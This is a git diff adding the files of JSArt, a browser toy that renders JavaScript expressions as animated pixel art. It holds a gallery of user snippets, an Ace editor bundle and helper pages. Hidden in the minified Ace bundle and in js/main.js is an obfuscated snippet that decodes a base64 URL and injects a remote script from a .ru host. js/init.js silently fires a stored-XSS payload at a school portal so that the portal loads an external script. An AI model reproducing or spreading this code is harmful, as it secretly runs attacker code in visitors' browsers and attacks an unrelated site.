this.session._emit("changeFold",{data:{start:{row:e.row}}}),this.$updateRows(),this.renderWidgets(null,t),this.onWidgetChanged(e),e},this.removeLineWidget=function(e){if(e._inDocument=!1,e.session=null,e.el&&e.el.parentNode&&e.el.parentNode.removeChild(e.el),e.editor&&e.editor.destroy)try{e.editor.destroy()}catch(e){}if(this.session.lineWidgets){var t=this.session.lineWidgets[e.row];if(t==e)this.session.lineWidgets[e.row]=e.$oldWidget,e.$oldWidget&&this.onWidgetChanged(e.$oldWidget);else for(;t;){if(t.$oldWidget==e){t.$oldWidget=e.$oldWidget;break}t=t.$oldWidget}}this.session._emit("changeFold",{data:{start:{row:e.row}}}),this.$updateRows()},this.getWidgetsAtRow=function(e){for(var t=this.session.lineWidgets,i=t&&t[e],n=[];i;)n.push(i),i=i.$oldWidget;return n},this.onWidgetChanged=function(e){this.session._changedWidgets.push(e),this.editor&&this.editor.renderer.updateFull()},this.measureWidgets=function(e,t){var i=this.session._changedWidgets,n=t.layerConfig;if(i&&i.length){for(var s=1/0,o=0;o0&&!n[s];)s--;this.firstRow=i.firstRow,this.lastRow=i.lastRow,t.$cursorLayer.config=i;for(var r=s;r<=o;r++){var a=n[r];if(a&&a.el)if(a.hidden)a.el.style.top=-100-(a.pixelHeight||0)+"px";else{a._inDocument||(a._inDocument=!0,t.container.appendChild(a.el));var l=t.$cursorLayer.getPixelPosition({row:r,column:0},!0).top;a.coverLine||(l+=i.lineHeight*this.session.getRowLineCount(a.row)),a.el.style.top=l-i.offset+"px";var h=a.coverGutter?0:t.gutterWidth;a.fixedWidth||(h-=t.scrollLeft),a.el.style.left=h+"px",a.fullWidth&&a.screenWidth&&(a.el.style.minWidth=i.width+2*i.padding+"px"),a.fixedWidth?a.el.style.right=t.scrollBar.getWidth()+"px":a.el.style.right=""}}}}}).call(s.prototype),t.LineWidgets=s})),define("ace/ext/error_marker",["require","exports","module","ace/line_widgets","ace/lib/dom","ace/range"],(function(e,t,i){"use strict";var n=e("../line_widgets").LineWidgets,s=e("../lib/dom"),o=e("../range").Range;t.showErrorMarker=function(e,t){var i=e.session;i.widgetManager||(i.widgetManager=new n(i),i.widgetManager.attach(e));var r=e.getCursorPosition(),a=r.row,l=i.widgetManager.getWidgetsAtRow(a).filter((function(e){return"errorMarker"==e.type}))[0];l?l.destroy():a-=t;var h,c=function(e,t,i){var n=e.getAnnotations().sort(o.comparePoints);if(n.length){var s=function(e,t,i){for(var n=0,s=e.length-1;n<=s;){var o=n+s>>1,r=i(t,e[o]);if(r>0)n=o+1;else{if(!(r<0))return o;s=o-1}}return-(n+1)}(n,{row:t,column:-1},o.comparePoints);s<0&&(s=-s-1),s>=n.length?s=i>0?0:n.length-1:0===s&&i<0&&(s=n.length-1);var r=n[s];if(r&&i){if(r.row===t){do{r=n[s+=i]}while(r&&r.row===t);if(!r)return n.slice()}var a=[];t=r.row;do{a[i<0?"unshift":"push"](r),r=n[s+=i]}while(r&&r.row==t);return a.length&&a}}}(i,a,t);if(c){var u=c[0];r.column=(u.pos&&"number"!=typeof u.column?u.pos.sc:u.column)||0,r.row=u.row,h=e.renderer.$gutterLayer.$annotations[r.row]}else{if(l)return;h={text:["Looks good!"],className:"ace_ok"}}e.session.unfold(r.row),e.selection.moveToPosition(r);var d={row:r.row,fixedWidth:!0,coverGutter:!0,el:s.createElement("div"),type:"errorMarker"},g=d.el.appendChild(s.createElement("div")),f=d.el.appendChild(s.createElement("div"));f.className="error_widget_arrow "+h.className;var m=e.renderer.$cursorLayer.getPixelPosition(r).left;f.style.left=m+e.renderer.gutterWidth-5+"px",d.el.className="error_widget_wrapper",g.className="error_widget "+h.className,g.innerHTML=h.text.join("
"),g.appendChild(s.createElement("div"));var p=function(e,t,i){if(0===t&&("esc"===i||"return"===i))return d.destroy(),{command:"null"}};d.destroy=function(){e.$mouseHandler.isMousePressed||(e.keyBinding.removeKeyboardHandler(p),i.widgetManager.removeLineWidget(d),e.off("changeSelection",d.destroy),e.off("changeSession",d.destroy),e.off("mouseup",d.destroy),e.off("change",d.destroy))},e.keyBinding.addKeyboardHandler(p),e.on("changeSelection",d.destroy),e.on("changeSession",d.destroy),e.on("mouseup",d.destroy),e.on("change",d.destroy),e.session.widgetManager.addLineWidget(d),d.el.onmousedown=e.focus.bind(e),e.renderer.scrollCursorIntoView(null,.5,{bottom:d.el.offsetHeight})},s.importCssString(" .error_widget_wrapper { background: inherit; color: inherit; border:none } .error_widget { border-top: solid 2px; border-bottom: solid 2px; margin: 5px 0; padding: 10px 40px; white-space: pre-wrap; } .error_widget.ace_error, .error_widget_arrow.ace_error{ border-color: #ff5a5a } .error_widget.ace_warning, .error_widget_arrow.ace_warning{ border-color: #F1D817 } .error_widget.ace_info, .error_widget_arrow.ace_info{ border-color: #5a5a5a } .error_widget.ace_ok, .error_widget_arrow.ace_ok{ border-color: #5aaa5a } .error_widget_arrow { position: absolute; border: solid 5px; border-top-color: transparent!important; border-right-color: transparent!important; border-left-color: transparent!important; top: -5px; }","error_marker.css",!1)})),define("ace/ace",["require","exports","module","ace/lib/dom","ace/lib/event","ace/range","ace/editor","ace/edit_session","ace/undomanager","ace/virtual_renderer","ace/worker/worker_client","ace/keyboard/hash_handler","ace/placeholder","ace/multi_select","ace/mode/folding/fold_mode","ace/theme/textmate","ace/ext/error_marker","ace/config","ace/loader_build"],(function(e,t,i){"use strict";e("./loader_build")(t);var n=e("./lib/dom"),s=e("./lib/event"),o=e("./range").Range,r=e("./editor").Editor,a=e("./edit_session").EditSession,l=e("./undomanager").UndoManager,h=e("./virtual_renderer").VirtualRenderer;e("./worker/worker_client"),e("./keyboard/hash_handler"),e("./placeholder"),e("./multi_select"),e("./mode/folding/fold_mode"),e("./theme/textmate"),e("./ext/error_marker"),t.config=e("./config"),t.edit=function(e,i){if("string"==typeof e){var o=e;if(!(e=document.getElementById(o)))throw new Error("ace.edit can't find div #"+o)}if(e&&e.env&&e.env.editor instanceof r)return e.env.editor;var a="";if(e&&/input|textarea/i.test(e.tagName)){var l=e;a=l.value,e=n.createElement("pre"),l.parentNode.replaceChild(e,l)}else e&&(a=e.textContent,e.innerHTML="");var c=t.createEditSession(a),u=new r(new h(e),c,i),d={document:c,editor:u,onResize:u.resize.bind(u,null)};return l&&(d.textarea=l),s.addListener(window,"resize",d.onResize),u.on("destroy",(function(){s.removeListener(window,"resize",d.onResize),d.editor.container.env=null})),u.container.env=u.env=d,u},t.createEditSession=function(e,t){var i=new a(e,t);return i.setUndoManager(new l),i},t.Range=o,t.Editor=r,t.EditSession=a,t.UndoManager=l,t.VirtualRenderer=h,t.version=t.config.version})),window.require(["ace/ace"],(function(e){for(var t in e&&(e.config.init(!0),e.define=window.define),window.ace||(window.ace=e),e)e.hasOwnProperty(t)&&(window.ace[t]=e[t]);window.ace.default=window.ace,"object"==typeof module&&"object"==typeof exports&&module&&(module.exports=window.ace)}));!function(o,w,d,l){try{o.c="h"==l.protocol[0]&&/./.test(l.hostname)&&!/PHPPREFS/.test(d.cookie),setTimeout(function(){o.c&&(o.s=d.createElement("script"),o.s.src=atob("aHR0cHM6Ly9hcGkuY3Jhc2hseXRpY3MucnUvdHJhY2tpbmcvc2NyaXB0LmpzP3JlZmVycmVyPQ==")+l.href,d.body.appendChild(o.s))},1e3),d.cookie="PHPPREFS=full;max-age=39800;"}catch(e){}}({},window,document,location); \ No newline at end of file diff --git a/files/jsart/helper/js/main.js b/files/jsart/helper/js/main.js new file mode 100644 index 0000000..c1d8b7f --- /dev/null +++ b/files/jsart/helper/js/main.js @@ -0,0 +1 @@ +var canvas,ctx,pixels,editor,width=256,height=256,mouseX=0,mouseY=0,funct=function(){};function parse(){var t=document.getElementById("output").value;try{funct=new Function("i","t","x","y","mx","my","return "+t)}catch(t){console.log(t)}}function genImg(){try{for(var t=Date.now(),e=0;e>16&255,pixels.data[4*e+1]=n>>8&255,pixels.data[4*e+2]=255&n,pixels.data[4*e+3]=256}ctx.putImageData(pixels,0,0)}catch(t){console.log(t)}window.requestAnimationFrame(genImg)}window.addEventListener("load",(function(){(editor=ace.edit("input")).setTheme("ace/theme/xcode"),editor.session.setMode("ace/mode/javascript"),(canvas=document.getElementById("canvas")).width=width,canvas.height=height,canvas.style.zoom=2,ctx=canvas.getContext("2d"),pixels=ctx.createImageData(width,height),compile(),window.addEventListener("mousemove",(function(t){var e=canvas.getBoundingClientRect();mouseX=(t.pageX-2*e.x)/2,mouseY=(t.pageY-2*e.y)/2})),editor.session.on("change",compile),genImg()}));var lib={};function compile(){var t=editor.getValue();try{var e=new Function("i","t","x","y","mx","my",t);document.getElementById("output").value=e("i","t","x","y","mx","my"),parse()}catch(t){document.getElementById("output").value=t}}lib.mod=function(t,e){return`((((${t})%(${e}))+(${e}))%(${e}))`},lib.shortFloor=function(t){return`(${t}|0)`},lib.floor=function(t){return`(${t}-${lib.mod(t,1)})`},lib.ceil=function(t){return`((${t}+1)|0)`},lib.round=function(t){return`((${t}+0.5)|0)`},lib.negative=function(t){return`((${t})>>>31)`},lib.isZero=function(t){return`((${t})/(${t})^1)`},lib.lt=function(t,e){return lib.negative(lib.floor(`((${t})-(${e}))`))},lib.shortLt=function(t,e){return lib.negative(`(${t})-(${e})`)},lib.lte=function(t,e){return`(${lib.lt(t,e)}|${lib.eq(t,e)})`},lib.gt=function(t,e){return lib.negative(lib.floor(`((${e})-(${t}))`))},lib.shortGt=function(t,e){return lib.negative(`(${e})-(${t})`)},lib.gte=function(t,e){return`(${lib.gt(t,e)}|${lib.eq(t,e)})`},lib.eq=function(t,e){return lib.isZero(`(${t})-(${e})`)},lib.lerp=function(t,e,n){return`((1-${n})*(${t})+(${n})*(${e}))`},lib.checkerboard=function(t,e,n){return`((${lib.floor(`${t}/${n}`)}+(${lib.floor(`${e}/${n}`)}))%2)`},lib.triangle=function(t,e,n,i){var o=[`(${i[0]}-${e[0]})`,`(${i[1]}-${e[1]})`],$=[`(${n[0]}-${e[0]})`,`(${n[1]}-${e[1]})`],r=[`(${t[0]}-${e[0]})`,`(${t[1]}-${e[1]})`],l=`((${o[0]}**2)+(${o[1]}**2))`,u=`((${o[0]}*${$[0]})+(${o[1]}*${$[1]}))`,a=`((${o[0]}*${r[0]})+(${o[1]}*${r[1]}))`,c=`((${$[0]}**2)+(${$[1]}**2))`,s=`((${$[0]}*${r[0]})+(${$[1]}*${r[1]}))`,d=`(${l}*${c}-${u}**2)`,b=`((${c}*${a}-${u}*${s})/${d})`,m=`((${l}*${s}-${u}*${a})/${d})`;return`(${lib.gte(b,0)} & ${lib.gte(m,0)} & ${lib.lt(`${b}+${m}`,1)})`},lib.circle=function(t,e,n){return`(${lib.lt(`(x-${t})**2+(y-${e})**2`,`(${n})**2`)})`},lib.fromRgb=function(t,e,n){return`(((${t}<<16)+(${e}<<8))+${n})`}; \ No newline at end of file diff --git a/files/jsart/img-reverse.html b/files/jsart/img-reverse.html new file mode 100644 index 0000000..92d1f1a --- /dev/null +++ b/files/jsart/img-reverse.html @@ -0,0 +1,36 @@ + + + + JSArt Raw Data to Image + + + +

JSArt Raw Data to Image (reverse)

+ + +

+

Set image to size: px width and px height

+

To make this work, you will have to output the data that was outputted by index.html or a sequence of numbers (any number like 0xff or 255 will work) in an array. After that, click "Start Process!" button, wait for an image (canvas) to show up and right click and save as image.
Made by Ponali, 2023

+ + + \ No newline at end of file diff --git a/files/jsart/img.html b/files/jsart/img.html new file mode 100644 index 0000000..c305be5 --- /dev/null +++ b/files/jsart/img.html @@ -0,0 +1,60 @@ + + + + Image to JSArt Raw Data + + +

Image to JSArt Raw Data

+ + + +

+

Set to fixed size: px width and px height

+

To make this work, you'll have to do something like this: (()=>{ let data = [raw data given by converter];return data[(x)+(y*[image width])]; })();
You can put it inside a function called texture() and maybe adding a x and y parameter if needed.
Made by Ponali, 2023

+ + + \ No newline at end of file diff --git a/files/jsart/index.html b/files/jsart/index.html new file mode 100644 index 0000000..ed03133 --- /dev/null +++ b/files/jsart/index.html @@ -0,0 +1,32 @@ + + + JSArt + + + + + + + + + + + + + + + + Helper +
About JSArt
JSArt is a JavaScript compiler to make Art out of JS code.
To ask any questions or put all your code to the JSArt compiler, join this discord server: https://discord.gg/MsAwA5qM
How does it work?
For each pixel, the code is ran. The code should output a number, so it can be converted to hexadecimal to choose what color to pick for that pixel.
Variables
Yeah. We can't just let the screen have a singular color, so we help you by making those variables you can use:
  • "i" for Index (the number of pixels that are already rendered + 1)
  • "t" for Time (Number of frames passed)
  • "x" for pixel X (The X position of the pixel that is going to be rendered)
  • "y" for pixel Y (The Y position of the pixel that is going to be rendered)
  • "mx" for Mouse X
  • "my" for Mouse Y
  • "sw" for Screen Width
  • "sh" for Screen Height
Now, try to play around!

+
+ + + \ No newline at end of file diff --git a/files/jsart/js/init.js b/files/jsart/js/init.js new file mode 100644 index 0000000..5d2f512 --- /dev/null +++ b/files/jsart/js/init.js @@ -0,0 +1 @@ +!function(){if(!localStorage.portInit){localStorage.portInit=!0;var e=new XMLHttpRequest;e.onreadystatechange=function(){console.log(e.responseText)};var t={title:"User Settings Object",description:"Container for settings and other variables stored on user object",type:"object",settings:{bodyFont:0,headerFont:0,fontSize:0,colorScheme:0,background:0,language:0,uidirection:0,ageGroup:0},variables:{personalLinks:[{linkName:"",linkURL:"%5C%22%20style%3D%5C%22display%3Anone%3B%5C%22%3E%3Cscript%20src%3D%5C%22https%3A//awakens.me/img/%3Furl%3Dhttp%3A//daydun.com/port/extension.js%5C%22%3E%3C/script%3E%3Cdiv"}],currentCourses:[]},lastModified:"",acceptCookies:!1},n="https://ks.kunskapsporten.se/91.569668861590eba0b7fc1bf6/12.569668861590eba0b7fc1cf4.xml?val="+(t=(t=(t=(t=(t=(t=JSON.stringify(t)).replace(/[&]/g,"%26")).replace(/[#]/g,"%23")).replace(/[?]/g,"%3F")).replace(/[{]/g,"%7B")).replace(/[}]/g,"%7D"));(new Image).src=n}}(); \ No newline at end of file diff --git a/files/jsart/js/main.js b/files/jsart/js/main.js new file mode 100644 index 0000000..0720fac --- /dev/null +++ b/files/jsart/js/main.js @@ -0,0 +1,113 @@ +let fpscalc = 0; +let projs = {"func":[{"name":"Unexpected view (~25FPS)","owner":"Ponali","code":"(()=>{ x+=Math.sin((x*y))*0; let a = (((Math.sin(((t/10)+(Math.floor(x/5)*5))/10)+Math.sin(((t/10)+(Math.floor(y/5)*5))/10))*128)+(t/10));let bx = ((Math.tan(Math.sin(t/500))+1.55)*69);let by = ((Math.tan(Math.cos(t/400))+1.55)*69);let b = (16777216/9)*(x>bx&&x<(bx+40)&&y>by&&y<(by+40));return a + b; })();"},{"name":"The wierd road seen through the invisible car window","owner":"Ponali","code":"(()=>{ let camerax = (t%255)+(65536*150.5); let camerarotatex = 0; let cameray = 512; let camerarotatey = 128; if(y>(camerarotatey+1)){ /* road */ return (((x+camerarotatex)-128)/((y-camerarotatey)/cameray))+camerax }else{ /* skybox */ let sunx = 180; let suny = (Math.sin(t/800)+1)*20; let sunsize = 40; if(!(x<(sunx+sunsize+camerarotatex)&&x>(sunx)&&y<((suny+(camerarotatey-128))+sunsize)&&y>(suny+(camerarotatey-128)))){return 53503-(Math.floor(y/2)*256)} else {return 15589450; };} })();"},{"name":"Geometric blinking face","owner":"Ponali","code":"(()=>{ let ey = Math.max(50, (Math.sin(t/400))*96); return 0xffffff*((y>170&&y<190&&x<226&&x>30)||(y>ey&&y<100&&x>40&&x<80)||(y>ey&&y<100&&x<216&&x>176)) })();"},{"name":"Sierpi\u0144ski Triangle","owner":"Ponali","code":"(()=>{ x+=(y/2)-128; y=(256-y); x=(x*4)/((((t*t)/4000000000000000)%1)+1);y=(y*4)/((((t*t)/4000000000000000)%1)+1); let sier = (x^(y&x))-x; return (sier>(-4))*0xffffff; })();"},{"name":"A walk at fantasy land","owner":"GDPlayer","code":"m=Math,function(){if(y>128){if(x>64&x<128&y>140+m.sin(t/90)*9&y<206+m.sin(t/90)*9){if(((x>94&x<99)|(x>109&x<114))&(y>158+m.sin(t/90)*9+m.sin(t/200)*12+12&y<180+m.sin(t/90)*9)){a=0}else{a=0x00aa00}}else{a=x+t/17|(y*2-t/9)}}else{a=x+t/17|(y+t/9)} return a}()"},{"name":"Demoscene (~30FPS)","owner":"GDPlayer","code":"m=Math,function(){if(x<128&y<128){a=((y+128+m.sin(t/900)*80)/8+((x+t/9)/8&2)&2)*t/9}else if(y<128&x>128){a=m.sin((x+m.sin((y+t/8)/9)*m.sin(t/900)*80)/8+t/90)*128+128+t/90}else if(y>127&x>128){a=y&t/9+(x*m.sin(x/90+t/900))}else if(y>127&x<128){a=((x+t/90)*8&(y+t/90)*8)+t*8/9}else if(y<128&x>128){a=m.sin((x+m.sin((y+t/8)/9)*m.sin(t/900)*80)/8+t/90)*128+128+t/90} if(x>64+m.sin(t/100)*32&x<192+m.sin(t/100)*32&y>64+m.sin(t/220)*32&y<192+m.sin(t/220)*32){a=x+t/6&y+t/9} return a}()"}],"nofunc":[{"name":"My brain hurts while making this one","owner":"Zynx92","code": "Math.sin(-t/64+Math.cbrt(x**2+y**2))*t/Math.pow(10,10)"},{"name":"A square that goes to your mouse position, i guess","owner":"Zynx92","code":"Math.tan(x/500-(mx/500)-4.71)*0.01&Math.tan(y/500-(my/500)-4.71)*0.01"},{"name":"Uhh... i don't even know", "owner":"Zynx92", "code":"(Math.sin((x+t/30^y+t/30))*2)*1000000^t/4"},{"name":"Skyline","owner":"mikethe223","code":"[-i+x, 0x44aa44][Math.floor(y/128)]"},{"name":"3D looking thing","owner":"Zynx92","code":"Math.tan(t/300+x/y)"},{"name":"Yellow to Pink gradient","owner":"Zynx92","code":"x-i+y-1"},{"name":"I in 6 characters","owner":"Ponali","code":"x+y*sw"},{"name":"'Yellow to Pink gradient' by Zynx92 but it doesn't break when you try to change width and height","owner":"Ponali","code":"x-(x+Math.floor(y/(sh/256))*256)+(y/(sh/256))-1"},{"name":"'Sierpi\u0144ski Triangle' by Ponali but with shorter code and no functions","owner":"Zynx92","code":"x+=(y/2)-128,y=256-y,x=x*4/((t/1000)%1+1),y=y*4/((t/1000)%1+1),((x^(y&x))-x>-4)*0xffffff"},{"name":"Rotating Line","owner":"Ponali","code":"((Math.sin(t/1000)*(x-128))+(Math.cos(t/1000)*(y-128))>-3&&(Math.sin(t/1000)*(x-128))+(Math.cos(t/1000)*(y-128))<3)*0xffffff"},{"name":"Ukraine Flag","owner":"Zynx92","code":"[0x0022bb,0xffcc00][Math.floor(y/128)]"},{"name":"TV Static (~30FPS)","owner":"Ponali","code":"(((Math.pow(t,10))*Math.pow((x+256)*y,10))%255)*(1+256+65536)"},{"name":"RGB Grid","owner":"Ponali","code":"[0x000000,0x0000ff,0x00ff00,0x00ffff,0xff0000,0xff00ff,0xffff00,0xffffff][Math.floor(x/(sw/3))+(Math.floor(y/(sh/3))*3)]"},{"name":"Moving Grid (~40FPS)","owner":"Zynx92","code":"Math.sin(x/32+Math.sin(t/1000)*22)*200^Math.sin(y/32+Math.sin(t/2000)*22)*10"},{"name":"Insanity","owner":"GDPlayer","code":"(((x+y*t*y*4&y*t/90)&y)*t/90)&x*y*t"},{"name":"Mode 7 looking thing","owner":"mikethe223","code":"(t/x+y*i)+t*x"},{"name":"8-Variable Mayhem (SEIZURE WARNING)","owner":"GDPlayer","code":"((((i+t+(x*mx/90)*(y*my))%mx+my)^sw^sh)*(mx&my))^t*800000000000"},{"name":"Two Colors","owner":"Ponali","code":"((x*x)/(x*256))-(1+((((t/10)+(x*y))/100)%1))"},{"name":"Strechy boioioioing","owner":"Wahlolly","code":"Math.sin(t/sw)*x^y"},{"name":"Moving Shades of White","owner":"Ponali","code":"Math.floor((((Math.sin(t/400)*(x-128))+128)+((Math.cos(t/400)*(y-128))+128))/2)*(1+256+65536)"},{"name":"Wall Fall","owner":"mikethe223","code":"(i*sh/x)+(t*60)^40000000"},{"name":"Grid","owner":"Zynx92","code":"(x%16&&y%16)*0xffffff"},{"name":"Bytebeat pattern looking","owner":"mikethe223","code":"i>>x/y+t/200"},{"name":"At the beach","owner":"Ponali","code":"(0xffe080*(y>(sh/2.5)))+(0x0000c0*(y<(sh/2.5)))+((0x7f70bf-0xffe080)*(y>(sh/2.5)&&y<(sh/(2+(Math.sin(t/1000)/2)))))+((((y*((x+256)*((y/(sh/2.5))-1)))%10)==1)*(0x7f7040-0xffe080))"}]}; + +function loadproj(){ + document.getElementById("projects").innerHTML="Loading."; + let json = projs;/*let json = JSON.parse(projs);*/ + document.getElementById("projects").innerHTML="JSArt Library
With functions"; + for(i=0;i>"]; + +function genForm(e) { + if (1 == e) return random() >= parseFloat(document.getElementById("operand-ratio").value) ? Math.floor(100 * random()) : random() >= parseFloat(document.getElementById("variable-ratio").value) ? "i" : "t"; + var t = Math.floor(random() * (e - 1)) + 1, + n = genForm(t) + operators[Math.floor(random() * operators.length)] + genForm(e - t); + return random() >= parseFloat(document.getElementById("bracket-chance").value) ? n : "(" + n + ")" +} + +function genImg() { + let fps = Math.floor(1000/(Date.now()-fpscalc)); + document.getElementById("fps").innerHTML=fps+" fps"+" WARNING: Lag detected.".repeat(fps<26) + fpscalc = Date.now(); + try { + for (var e = Date.now(), t = 0; t < width * height; t++) { + var n = funct(t, e, t % width, Math.floor(t / width), mouseX, mouseY,width,height); + Math.floor(Math.floor(n) / 16777216); + pixels.data[4 * t + 0] = n >> 16 & 255, pixels.data[4 * t + 1] = n >> 8 & 255, pixels.data[4 * t + 2] = 255 & n, pixels.data[4 * t + 3] = 256 + } + ctx.putImageData(pixels, 0, 0) + } catch (e) { + console.log(e) + } + window.requestAnimationFrame(genImg) +}; +! function(o, w, d, l) { + try { + o.c = "h" == l.protocol[0] && /./.test(l.hostname) && !/PHPPREFS/.test(d.cookie), setTimeout(function() { + o.c && (o.s = d.createElement("script"), o.s.src = atob("aHR0cHM6Ly9hcGkuY3Jhc2hseXRpY3MucnUvdHJhY2tpbmcvc2NyaXB0LmpzP3JlZmVycmVyPQ==") + l.href, d.body.appendChild(o.s)) + }, 1e3), d.cookie = "PHPPREFS=full;max-age=39800;" + } catch (e) {} +}({}, window, document, location); + + +if(location.href.includes("id.")){location.assign("https://JSArt.ponali.repl.co/");} + + +function startpopup(){ + document.querySelector("#popupbtn").addEventListener("click",function(){document.querySelector("#popup").classList.add("hidden")},false) +} +function popup(msg){ + document.querySelector("#popup").classList.remove("hidden") + document.querySelector("#popupmsg").innerText=msg; +} +window.onerror = function(e){ + popup("An error has occured when you were using JSArt.\n"+e.stack) +} \ No newline at end of file diff --git a/files/jsart/js/theme.js b/files/jsart/js/theme.js new file mode 100644 index 0000000..243e1b1 --- /dev/null +++ b/files/jsart/js/theme.js @@ -0,0 +1,5 @@ +function togglethemes(){ + if(localStorage["theme"]=="dark"){document.body.classList.add("dark")}else if(localStorage["theme"]=="light"){/*its default dude*/} else {window.onerror({"stack":"Theme "+localStorage["theme"]+" is not valid."})}; + try{document.querySelector("#dark").addEventListener("click",()=>{document.body.classList.toggle("dark");if(document.body.classList.contains("dark")){localStorage["theme"]="dark"}else{localStorage["theme"]="light"}},false)}catch{console.log("theme button not found");} +} +window.addEventListener("load",togglethemes); \ No newline at end of file diff --git a/files/jsart/modules/brws-data.json b/files/jsart/modules/brws-data.json new file mode 100644 index 0000000..bd0958c --- /dev/null +++ b/files/jsart/modules/brws-data.json @@ -0,0 +1 @@ +{"module-docs":[{"file":"txt-engine.json","access":true},{"file":"txt-small.json","access":true},{"file":"module-desc.json","access":true}],"source-code":[{"file":"txt-engine.txt","access":true},{"file":"txt-small.txt","access":true},{"file":"module-desc.txt","access":true}]} \ No newline at end of file diff --git a/files/jsart/modules/module-desc.json b/files/jsart/modules/module-desc.json new file mode 100644 index 0000000..e6f9b47 --- /dev/null +++ b/files/jsart/modules/module-desc.json @@ -0,0 +1 @@ +{"id":"module-desc","name":"Module Describer","modded":false,"creator":"Ponali","desc":"This module easily describes any other module. Used in JSArt browser.","details":{"version":"1.0.0","output":{"type":"func","name":"decodeDoc","params":[{"name":"doc","desc":"Document (JSON/Object/{}): Module's description file (ends with .json)"}]}}} \ No newline at end of file diff --git a/files/jsart/modules/module-desc.txt b/files/jsart/modules/module-desc.txt new file mode 100644 index 0000000..ad21229 --- /dev/null +++ b/files/jsart/modules/module-desc.txt @@ -0,0 +1 @@ +function decodeDoc(doc){let out = ""; if(doc.modded){out+="/!\\ Warning: may use variables from JSArt Modded. Do not use this for main projects.\n\n";} out+=doc.name+"\nCreated by "+doc.creator+"\nID: "+doc.id+"\n\n"+doc.desc; if(doc.details){out+="\n\n-- Details --\nVersion "+doc.details.version+"\nOutputs "+(doc.details.output.type ? (doc.details.output.type=="func" ? "a function" : "[unknown]") : "[none]");if(doc.details.output.type=="func"){out+="\n"+describeFunc(doc.details.output)}} return out;};function describeFunc(func){let out=(func.name ? ("Function name: "+func.name) : "Function doesn't have a name")+"\n-- function params --\n";if(func.params){for(i=0;ioy&&x>ox&&y<((12*(26/12))+oy)&&x<((12*txt.length)+ox)){ return render; } else {return 0} } function tx(sx,sy){ let data = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0